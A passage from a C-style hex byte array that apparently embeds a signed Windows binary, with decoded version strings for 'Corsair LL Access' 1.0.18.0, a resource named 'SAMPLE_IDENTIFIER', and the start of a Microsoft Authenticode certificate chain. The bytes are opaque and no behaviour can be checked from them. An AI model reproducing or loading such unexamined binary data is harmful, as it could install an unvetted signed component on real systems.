0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x80, - 0x10, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xA0, 0x00, 0x00, 0x80, 0x50, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x09, 0x04, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x09, 0x04, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, - 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE8, 0x60, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x52, 0x00, 0x45, 0x00, 0x53, 0x00, - 0x4E, 0x00, 0x41, 0x00, 0x4D, 0x00, 0x45, 0x00, 0x53, 0x41, 0x4D, 0x50, - 0x4C, 0x45, 0x5F, 0x49, 0x44, 0x45, 0x4E, 0x54, 0x49, 0x46, 0x49, 0x45, - 0x52, 0x7B, 0x64, 0x64, 0x33, 0x38, 0x66, 0x37, 0x66, 0x63, 0x2D, 0x64, - 0x37, 0x62, 0x64, 0x2D, 0x34, 0x38, 0x38, 0x62, 0x2D, 0x39, 0x32, 0x34, - 0x32, 0x2D, 0x37, 0x64, 0x38, 0x37, 0x35, 0x34, 0x63, 0x64, 0x65, 0x38, - 0x30, 0x64, 0x7D, 0x00, 0x40, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, - 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, - 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, - 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x3F, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x03, 0x00, 0x00, 0x00, - 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9E, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, - 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, - 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, - 0x7A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, - 0x39, 0x00, 0x30, 0x00, 0x34, 0x00, 0x42, 0x00, 0x30, 0x00, 0x00, 0x00, - 0x4A, 0x00, 0x15, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, - 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, - 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, - 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x12, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x33, 0x00, - 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, - 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, - 0x20, 0x00, 0x28, 0x00, 0x63, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x31, 0x00, 0x39, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x41, 0x00, - 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, - 0x68, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x72, 0x00, 0x65, 0x00, - 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x64, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4F, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, - 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x44, 0x00, 0x12, 0x00, - 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, - 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x73, 0x00, - 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x4C, 0x00, - 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x73, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, - 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, - 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, - 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0xA1, 0x08, 0xA1, - 0xD8, 0xA1, 0xF0, 0xA1, 0xF8, 0xA1, 0x00, 0xA2, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x24, 0x00, 0x00, - 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x24, 0xCC, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x24, 0xBD, 0x30, - 0x82, 0x24, 0xB9, 0x02, 0x01, 0x01, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x09, - 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, - 0x5C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, - 0x04, 0xA0, 0x4E, 0x30, 0x4C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, - 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00, - 0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, - 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, - 0x20, 0xE4, 0xAC, 0x5C, 0x7F, 0xBB, 0x41, 0xEE, 0x98, 0x80, 0x29, 0xB2, - 0x7D, 0x8B, 0x6B, 0xE5, 0x74, 0x72, 0x56, 0x89, 0xFD, 0x13, 0x65, 0xF5, - 0xA5, 0x6F, 0x5A, 0x12, 0xD9, 0x12, 0x0F, 0x86, 0xC6, 0xA0, 0x82, 0x0D, - 0xD4, 0x30, 0x82, 0x06, 0x7C, 0x30, 0x82, 0x04, 0x64, 0xA0, 0x03, 0x02, - 0x01, 0x02, 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0x31, 0x94, 0x79, 0xA3, - 0x18, 0xF5, 0x52, 0x2D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, - 0x05, 0x00, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, - 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, - 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, - 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, - 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, - 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, - 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, 0x68, - 0x69, 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, 0x6F, - 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, 0x32, - 0x30, 0x31, 0x34, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x39, 0x30, 0x36, 0x30, - 0x35, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, - 0x30, 0x36, 0x30, 0x33, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x30, - 0x81, 0x91, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, - 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, - 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, - 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, - 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, - 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, - 0x6F, 0x6E, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, - 0x32, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x57, - 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x48, 0x61, 0x72, 0x64, 0x77, - 0x61, 0x72, 0x65, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, - 0x69, 0x6C, 0x69, 0x74, 0x79, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x73, - 0x68, 0x65, 0x72, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, - 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, - 0xE6, 0x0E, 0x76, 0xCA, 0xA9, 0x26, 0xC5, 0xB0, 0xC3, 0xAC, 0x62, 0x47, - 0x5F, 0x64, 0x72, 0xEF, 0xAD, 0xE7, 0x08, 0x65, 0xA6, 0xF9, 0xCB, 0x99, - 0x19, 0x4D, 0x40, 0x95, 0xAB, 0xB5, 0x59, 0xF6, 0x18, 0x2E, 0xC8, 0x34, - 0xB9, 0x84, 0x3F, 0x60, 0x64, 0x8E, 0x5B, 0xB8, 0xAF, 0x5A, 0xDC, 0x63, - 0x2C, 0x62, 0x18, 0x2D, 0x63, 0x19, 0x38, 0xF9, 0x39, 0xE6, 0xB5, 0xBA, - 0x61, 0x32, 0x5B, 0x84, 0x4C, 0x8C, 0x34, 0x06, 0x70, 0x6C, 0x56, 0xE5, - 0x2A, 0xA8, 0x61, 0x14, 0x56, 0x9A, 0x29, 0x13, 0xEE, 0x72, 0xB7, 0x5D, - 0xF6, 0xFF, 0xAE, 0xCA, 0x5D, 0xF7, 0xA6, 0x95, 0x20, 0x14, 0x79, 0xD4, - 0x66, 0xCD, 0x99, 0xFA, 0x7A, 0xD1, 0x53, 0x80, 0x2E, 0x50, 0x7B, 0xF8, - 0x99, 0x15, 0xD6, 0xCD, 0xA9, 0x51, 0xA0, 0xD1, 0xCE, 0x6F, 0x39, 0x44, - 0x9C, 0x7B, 0xA1, 0x02, 0xD0, 0xAA, 0x0C, 0x23, 0x2A, 0x93, 0x5C, 0xDA, - 0x8F, 0xCF, 0xDF, 0x14, 0x47, 0xE7, 0x84, 0x7A, 0x3A, 0x3C, 0xB2, 0x5F, - 0x7A, 0x2D, 0x15, 0x3D, 0x53, 0xD5, 0x02, 0xDF, 0xB5, 0x8A, 0x4C, 0x45, - 0xFC, 0x95, 0x26, 0x8A, 0x3D, 0xAA, 0x95, 0x7C, 0x7F, 0x20, 0x56, 0x3C, - 0xFC, 0xFB, 0x62, 0x38, 0x72, 0xAE, 0x2B, 0x62, 0xC1, 0x5A, 0x94, 0xE6, - 0x35, 0x29, 0xCE, 0x41, 0xE0, 0x4E, 0x3A, 0x97, 0x21, 0xC3, 